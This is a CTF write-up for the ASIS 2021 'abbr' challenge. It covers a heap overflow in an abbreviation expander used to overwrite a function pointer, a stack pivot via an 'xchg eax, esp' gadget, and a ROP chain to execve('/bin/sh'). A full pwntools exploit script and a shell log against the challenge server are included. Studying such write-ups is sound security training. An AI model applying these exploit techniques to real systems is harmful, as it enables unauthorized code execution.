You can find the related files [here](https://github.com/ret2school/ctf/blob/master/2021/asisctf).# abbr
abbr is very basic heap overflow, we just have to overwrite a function pointer to a stack pivot gadget with the help of a user controlled register. Then, we can drop a shell with a similar ROP as for the `justpwnit` challenge (the binary is also statically linked).
Here is the source code:```c#include <stdio.h>#include <stdlib.h>#include <string.h>#include <unistd.h>#include <ctype.h>#include "rules.h"
typedef struct Translator {  void (*translate)(char*);  char *text;  int size;} Translator;
void english_expand(char *text) {  int i, alen, blen;  Rule *r;  char *p, *q;  char *end = &text[strlen(text)-1]; // pointer to the last character
  /* Replace all abbreviations */  for (p = text; *p; ++p) {    for (i = 0; i < sizeof(rules) / sizeof(Rule); i++) {      r = &rules[i];      alen = strlen(r->a);      blen = strlen(r->b);      if (strncasecmp(p, r->a, alen) == 0) {        // i.e "i'm pwn noob." --> "i'm pwn XXnoob."        for (q = end; q > p; --q)          *(q+blen-alen) = *q;        // Update end        end += blen-alen;        *(end+1) = '\0';        // i.e "i'm pwn XXnoob." --> "i'm pwn newbie."        memcpy(p, r->b, blen);      }    }  }}
Translator *translator_new(int size) {  Translator *t;
  /* Allocate region for text */  char *text = (char*)calloc(sizeof(char), size);  if (text == NULL)    return NULL;
  /* Initialize translator */  t = (Translator*)malloc(sizeof(Translator));  t->text = text;  t->size = size;  t->translate = english_expand;
  return t;}
void translator_reset(Translator *t) {  memset(t->text, 0, t->size);}
int main() {  setvbuf(stdin, NULL, _IONBF, 0);  setvbuf(stdout, NULL, _IONBF, 0);  alarm(60);
  Translator *t = translator_new(0x1000);  while (1) {    /* Input data */    translator_reset(t);    printf("Enter text: ");    fgets(t->text, t->size, stdin);    if (t->text[0] == '\n')      break;
    /* Expand abbreviation */    t->translate(t->text);    printf("Result: %s", t->text);  }
  return 0;}```
The `rules.h` looks like this:```ctypedef struct {  char *a; // abbreviated string (i.e "asap")  char *b; // expanded string (i.e "as soon as possible")} Rule;
// Why are there so many abbreviations in English!!?? :exploding_head:Rule rules[] =  {   {.a="2f4u", .b="too fast for you"},   {.a="4yeo", .b="for your eyes only"},   {.a="fyeo", .b="for your eyes only"},   {.a="aamof", .b="as a matter of fact"},   {.a="afaik", .b="as far as i know"},   {.a="afk", .b="away from keyboard"},   {.a="aka", .b="also known as"},   {.a="b2k", .b="back to keyboard"},   {.a="btk", .b="back to keyboard"},   {.a="btt", .b="back to topic"},   {.a="btw", .b="by the way"},   {.a="b/c", .b="because"},   {.a="c&p", .b="copy and paste"},   {.a="cys", .b="check your settings"},   {.a="diy", .b="do it yourself"},   {.a="eobd", .b="end of business day"},   {.a="faq", .b="frequently asked questions"},   {.a="fka", .b="formerly known as"},   {.a="fwiw", .b="for what it's worth"},   {.a="fyi", .b="for your information"},   {.a="jfyi", .b="just for your information"},   {.a="hf", .b="have fun"},   {.a="hth", .b="hope this helps"},   {.a="idk", .b="i don't know"},   {.a="iirc", .b="if i remember correctly"},   {.a="imho", .b="in my humble opinion"},   {.a="imo", .b="in my opinion"},   {.a="imnsho", .b="in my not so humble opinion"},   {.a="iow", .b="in other words"},   {.a="itt", .b="in this thread"},   {.a="dgmw", .b="don't get me wrong"},   {.a="mmw", .b="mark my words"},   {.a="nntr", .b="no need to reply"},   {.a="noob", .b="newbie"},   {.a="noyb", .b="none of your business"},   {.a="nrn", .b="no reply necessary"},   {.a="otoh", .b="on the other hand"},   {.a="rtfm", .b="read the fine manual"},   {.a="scnr", .b="sorry, could not resist"},   {.a="sflr", .b="sorry for late reply"},   {.a="tba", .b="to be announced"},   {.a="tbc", .b="to be continued"},   {.a="tia", .b="thanks in advance"},   {.a="tq", .b="thank you"},   {.a="tyvm", .b="thank you very much"},   {.a="tyt", .b="take your time"},   {.a="ttyl", .b="talk to you later"},   {.a="wfm", .b="works for me"},   {.a="wtf", .b="what the fuck"},   {.a="wrt", .b="with regard to"},   {.a="ymmd", .b="you made my day"},   {.a="icymi", .b="in case you missed it"},   // pwners abbreviations   {.a="rop ", .b="return oriented programming "},   {.a="jop ", .b="jump oriented programming "},   {.a="cop ", .b="call oriented programming "},   {.a="aar", .b="arbitrary address read"},   {.a="aaw", .b="arbitrary address write"},   {.a="www", .b="write what where"},   {.a="oob", .b="out of bounds"},   {.a="ret2", .b="return to "},  };```
The main stuff is in `english_expand` function which is looking for an abreviation in the user input. If it finds the abbreviation, all the data after the occurence will be written further according to the length of the full expression.The attack idea is fairly simple, the `text` variable is allocated right before the `Translator` structure, and so in the heap they will be contiguous. Given that, we know that if we send 0x1000 bytes in the chunk contained by `text` and that we put an abbreviation of the right length we can overwrite the `translate` function pointer.
I will not describe in details how we can find the right size for the abbreviation or the length off the necessary padding.An interesting abbreviation is the `www`, which stands for "write what where" (what a nice abbreviation for a pwner lmao), indeed the expanded expression has a length of 16 bytes.So we send `b"wwwwww" + b"A"*(0x1000-16) + pwn.p64(gadget)`, we will overflow the 32 first bytes next the `text` chunk, and in this rewrite the `translator` function pointer.
## ROPchain
Once that's done, when the function pointer will be triggered at the next iteration, we will be able to jmp at an arbitrary location.Lets take a look at the values of the registers when we trigger the function pointer:``` RAX  0x1ee8bc0 —▸ 0x4018da (init_cacheinfo+234) ◂— pop    rdi RBX  0x400530 (_IO_getdelim.cold+29) ◂— 0x0 RCX  0x459e62 (read+18) ◂— cmp    rax, -0x1000 /* 'H=' */*RDX  0x405121 (_nl_load_domain+737) ◂— xchg   eax, esp RDI  0x1ee8bc0 —▸ 0x4018da (init_cacheinfo+234) ◂— pop    rdi RSI  0x4c9943 (_IO_2_1_stdin_+131) ◂— 0x4cc020000000000a /* '\n' */ R8   0x1ee8bc0 —▸ 0x4018da (init_cacheinfo+234) ◂— pop    rdi R9   0x0 R10  0x49e522 ◂— 'Enter text: ' R11  0x246 R12  0x4030e0 (__libc_csu_fini) ◂— endbr64  R13  0x0 R14  0x4c9018 (_GLOBAL_OFFSET_TABLE_+24) —▸ 0x44fd90 (__strcpy_avx2) ◂— endbr64  R15  0x0 RBP  0x7ffdef1b8230 —▸ 0x403040 (__libc_csu_init) ◂— endbr64  RSP  0x7ffdef1b8220 ◂— 0x0 RIP  0x402036 (main+190) ◂— call   rdx````$rax` points to the newly readen input, same for `$r8` and `$rdi` and `$rdx` contains the location to which we will jmp on.So we can search gadgets like `mov rsp, rax`, `mov rsp, rdi`, `mov rsp, r8` and so on. But I didn't find any gadgets like that, so I looked for `xchg rsp` gadgets, and I finally found a `xchg eax, esp` gadgets ! Since the binary is not PIE based, the heap addresses fit into a 32 bits register, so that's perfect!
Now we can make `$rsp` to point to the user input, we make a similar ropchain as the last challenge, and that's enough to get a shell!```py
# 0x00000000004126e3 : call qword ptr [rax]# 0x0000000000485fd2 : xchg eax, ebp ; ret# 0x0000000000405121 : xchg eax, esp ; ret
pld = b"wwwwww"pld += b"A"*(0x1000-16) + pwn.p64(0x0000000000405121)io.sendlineafter("Enter text: ", pld)
# 0x000000000045a8f7 : pop rax ; ret# 0x0000000000404cfe : pop rsi ; ret# 0x00000000004018da : pop rdi ; ret# 0x00000000004017df : pop rdx ; ret# 0x000000000045684f : mov qword ptr [rdi], rsi ; ret
DATA_SEC = 0x0000000004c90e0POP_RDI = 0x00000000004018daPOP_RSI = 0x0000000000404cfePOP_RAX = 0x000000000045a8f7POP_RDX = 0x00000000004017dfMOV_PTR_RDI_RSI = 0x000000000045684fSYSCALL = 0x00000000004012e3 # syscall
pld = pwn.p64(POP_RDI)pld += pwn.p64(DATA_SEC)pld += pwn.p64(POP_RSI)pld += b"/bin/sh\x00"pld += pwn.p64(MOV_PTR_RDI_RSI)pld += pwn.p64(POP_RSI)pld += pwn.p64(0x0)pld += pwn.p64(POP_RDX)pld += pwn.p64(0x0)pld += pwn.p64(POP_RAX)pld += pwn.p64(0x3b)pld += pwn.p64(SYSCALL)```
We launch the script with the right arguments and we correctly pop a shell!
```➜  abbr.d git:(master) ✗ python3 exploit.py HOST=168.119.108.148 PORT=10010 [*] '/home/nasm/pwn/asis2021/abbr.d/abbr'    Arch:     amd64-64-little    RELRO:    Partial RELRO    Stack:    Canary found    NX:       NX enabled    PIE:      No PIE (0x400000)[+] Opening connection to 168.119.108.148 on port 10010: Done/home/nasm/.local/lib/python3.8/site-packages/pwnlib/tubes/tube.py:822: BytesWarning: Text is not bytes; assuming ASCII, no guarantees. See https://docs.pwntools.com/#bytes  res = self.recvuntil(delim, timeout=timeout)[*] Switching to interactive mode$ iduid=999(pwn) gid=999(pwn) groups=999(pwn)$ lschallflag-5db495dbd5a2ad0c090b1cc11e7ee255.txt$ cat flag-5db495dbd5a2ad0c090b1cc11e7ee255.txtASIS{d1d_u_kn0w_ASIS_1s_n0t_4n_4bbr3v14t10n}```
## Final exploit
```py#!/usr/bin/env python# -*- coding: utf-8 -*-
# this exploit was generated via# 1) pwntools# 2) ctfinit
import osimport timeimport pwn
# Set up pwntools for the correct architectureexe  = pwn.context.binary = pwn.ELF('abbr')pwn.context.delete_corefiles = Truepwn.context.rename_corefiles = False
host = pwn.args.HOST or '127.0.0.1'port = int(pwn.args.PORT or 1337)
def local(argv=[], *a, **kw):    '''Execute the target binary locally'''    if pwn.args.GDB:        return pwn.gdb.debug([exe.path] + argv, gdbscript=gdbscript, *a, **kw)    else:        return pwn.process([exe.path] + argv, *a, **kw)
def remote(argv=[], *a, **kw):    '''Connect to the process on the remote host'''    io = pwn.connect(host, port)    if pwn.args.GDB:        pwn.gdb.attach(io, gdbscript=gdbscript)    return io
def start(argv=[], *a, **kw):    '''Start the exploit against the target.'''    if pwn.args.LOCAL:        return local(argv, *a, **kw)    else:        return remote(argv, *a, **kw)
gdbscript = '''source /media/nasm/7044d811-e1cd-4997-97d5-c08072ce9497/Downloads/pwndbg/gdbinit.pyb* 0x402036continue'''.format(**locals())
#===========================================================#                    EXPLOIT GOES HERE#===========================================================
io = start()
# 000000000048ac90    80 FUNC    GLOBAL DEFAULT    7 _dl_make_stack_executable# 0x0000000000422930 : add rsp, 0x10 ; pop rbp ; ret
# 0x00000000004126e3 : call qword ptr [rax]# 0x0000000000485fd2 : xchg eax, ebp ; ret# 0x0000000000405121 : xchg eax, esp ; ret
pld = b"wwwwww"pld += b"A"*(0x1000-16) + pwn.p64(0x0000000000405121)io.sendlineafter("Enter text: ", pld)
# 0x000000000045a8f7 : pop rax ; ret# 0x0000000000404cfe : pop rsi ; ret# 0x00000000004018da : pop rdi ; ret# 0x00000000004017df : pop rdx ; ret# 0x000000000045684f : mov qword ptr [rdi], rsi ; ret
DATA_SEC = 0x0000000004c90e0POP_RDI = 0x00000000004018daPOP_RSI = 0x0000000000404cfePOP_RAX = 0x000000000045a8f7POP_RDX = 0x00000000004017dfMOV_PTR_RDI_RSI = 0x000000000045684fSYSCALL = 0x00000000004012e3 # syscall
pld = pwn.p64(POP_RDI)pld += pwn.p64(DATA_SEC)pld += pwn.p64(POP_RSI)pld += b"/bin/sh\x00"pld += pwn.p64(MOV_PTR_RDI_RSI)pld += pwn.p64(POP_RSI)pld += pwn.p64(0x0)pld += pwn.p64(POP_RDX)pld += pwn.p64(0x0)pld += pwn.p64(POP_RAX)pld += pwn.p64(0x3b)pld += pwn.p64(SYSCALL)
io.sendlineafter("Enter text: ", pld)io.interactive()```